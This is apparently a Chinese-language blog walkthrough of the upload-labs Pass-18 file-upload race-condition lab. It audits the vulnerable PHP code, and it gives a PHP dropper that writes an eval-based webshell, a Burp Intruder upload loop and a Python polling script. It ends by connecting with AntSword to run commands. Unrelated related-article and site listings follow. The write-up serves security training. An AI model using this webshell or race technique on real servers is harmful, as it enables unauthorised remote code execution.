Pass-18 条件竞争

审计源码

$is_upload = false;
$msg = null; if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

可以看到首先使用move_uploaded_file将文件进行上传,然后进行后缀名判断,如果不满足.jpg|.png|.gif文件类型,直接删除

这里的漏洞就是我们的文件首先可以上传到服务区,服务器经过if语句判断是否删除该文件

那么我们在服务器没有删除文件的时候,进行访问上传的php文件,上传php访问执行后会生成一个一句话木马文件

上传文件取名为create-shell.php

<?php fwrite(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>



首先我们使用burpsuite抓包,爆破模式一直上传文件





首先clear清楚所有变量



在末尾加入1,然后点击设置为变量



然后点击payload



然后点击Options,设置完点击Start attack为开始攻击,这里先展示不开始攻击



写一个访问creat-shell.php文件,并判断shell.php是否已经生成的python脚本

转载于:【upload-labs】条件竞争pass-17~pass-18

import requests
url1 = "http://ip/upload-labs/upload/create-shell.php" # 定义访问 creat-shell.php
url2 = "http://ip/upload-labs/upload/shell.php" # 定义访问 shell.php
while True: # 定义死循环
html1 = requests.get(url1) # 请求 create-shell.php
html2 = requests.get(url2) # 请求 shell.php
if html2.status_code == 200: # 如果 shell.php 返回的http状态码为200
print('Good job,Win Win Win') # 打印 Good job.....
break

这里由于物理机python环境出了点问题,使用kali进行运行





burpsuite点击start attack



查看脚本运行状态



返回了You Win,Good Job,代表我们文件上传成功



使用蚁剑连接测试,密码为cmd

http://172.16.1.101/upload-labs/upload/shell.php

点击测试连接成功



成功执行命令

文件上传 upload-labs Pass-18 条件竞争的更多相关文章

  1. vue ----element-ui 文件上传upload 组件 实现 及其后台

    1.前台 action 不用改 :https://jsonplaceholder.typicode.com/posts/ getFile: 获取文件 data(){ return { file: {} ...

  2. 文件上传Upload 漏洞挖掘思路

    1:尽可能多的找出网站存在的上传点2:尝试使用如上各种绕过方法3:尝试 geshell4:无法上传webshel的情况下: 尝试上传html等,或可造成存储XSS漏洞 上传点构造XSS等,结合上传后的 ...

  3. 文件上传Upload 学习笔记

    整理完自己还有点晕,看来还是得找点靶场自己练习练习Orz 1:客户端JavaScript校验 Burp改包即可 2:服务端对Content-Type进行校验 猜测后,修改对应Content-Type字 ...

  4. 18 SpringMVC 文件上传和异常处理

    1.文件上传的必要前提 (1)form 表单的 enctype 取值必须是:multipart/form-data(默认值是:application/x-www-form-urlencoded) en ...

  5. Openresty + nginx-upload-module支持文件上传

    0. 说明 这种方式其实复杂,麻烦!建议通过这个方式搭建Openresty文件上传和下载服务器:http://www.cnblogs.com/lujiango/p/9056680.html 1. 包下 ...

  6. 6.学习springmvc的文件上传

    一.文件上传前提与原理分析 1.文件上传必要前提: 2.文件上传原理分析: 3.需要引入的jar包: 二.传统方式文件上传程序 1.pom.xml <dependency> <gro ...

  7. SpringMVC02:返回值、json数据、文件上传、拦截器

     一.响应返回值 1.搭建环境(两个webapp,不要选错) 2.响应之返回值是String类型 package cn.itcast.controller; import cn.itcast.doma ...

  8. Struts2 单个文件上传/多文件上传

    1导入struts2-blank.war所有jar包:\struts-2.3.4\apps\struts2-blank.war 单个文件上传 upload.jsp <s:form action= ...

  9. Javascript Fromdata 与jQuery 实现Ajax文件上传以及文件的删除

    前端HTML代码: <!DOCTYPE html> <html> <head> <title>ajax</title> <script ...

  10. Django之Ajax文件上传

    请求头ContentType ContentType指的是请求体的编码类型,常见的类型共有3种: 1 application/x-www-form-urlencoded(看下图) 这应该是最常见的 P ...

随机推荐

  1. git拉取本地或者分支

    拉取本地 git clone 拉取的仓库地址 新建一个文件夹,然后右键 拉取分支到本地 也是新建一个文件夹右键点击 Git Bash Here 然后输入 git clone -b 分支名称 分支地址 ...

  2. Linux基础第八章:操作系统引导过程、运行级别及开机问题处理

    一.操作系统引导过程 1.开机自检(bios) 2.MBR引导 3.grub菜单 4.加载内核(kernel) 5.init进程初始化 二.操作系统运行级别(init0-init6) 1.init 0 ...

  3. jemeter批量测试

    一.使用badboy录制脚本 1.下载安装badboy(参看:https://blog.csdn.net/qq_36396763/article/details/78803381),成功标志如下: 2 ...

  4. [478] C2 Age Of Splendor Opcodz

    [478] C2 Age Of Splendor Client 00 SendProtocolVersion 01 MoveBackwardToLocation 02 Say 03 RequestEn ...

  5. sign签名

    $sign = array( 'ip'=>'1.15.23.31' // array('ip'=>'2.34.45.34'), ); $ip = setSign($sign); for ( ...

  6. 20192305 王梓全Python程序设计实验二报告

    20192305 王梓全Python程序设计实验二报告 课程:<Python程序设计> 班级: 1923 姓名: 王梓全 学号:20192305 实验教师:王志强 实验日期:2021年4月 ...

  7. java Comparator和Comparable的区别?

    参考:https://blog.csdn.net/m0_71087031/article/details/124850080 Comparable是一个内比较器,可以和自己比较的 Comparator ...

  8. obspy常用命令记录

    如何使用obspy(适用于MAC.Linux.Windows)完全替代SAC(使用于Linux和MAC) 波形预处理 # 去均值 stream.detrend('demean') # 去线性趋势 st ...

  9. Cubemx 生成工程代码失败的原因

    折腾了好久(躺)翻了很多解答试了试终于捣鼓正常了,就在这里汇总一下看到过的问题 1.文件名.工程名或者工程文件路径/库路径上有中文名 2.Cubemx的版本过高 3.java环境的版本不适配 4.可能 ...

  10. 贪心算法_Leetcode刷题_7/100

    贪心算法 采用贪心策略,保证每次操作是局部最优的,从而使随后结果是全局最优的. 455.分配饼干 贪心策略:尽量把最小的饼干分配给胃口最小的孩子. 我的代码: 算法描述: 将孩子的胃口值g和拥有的饼干 ...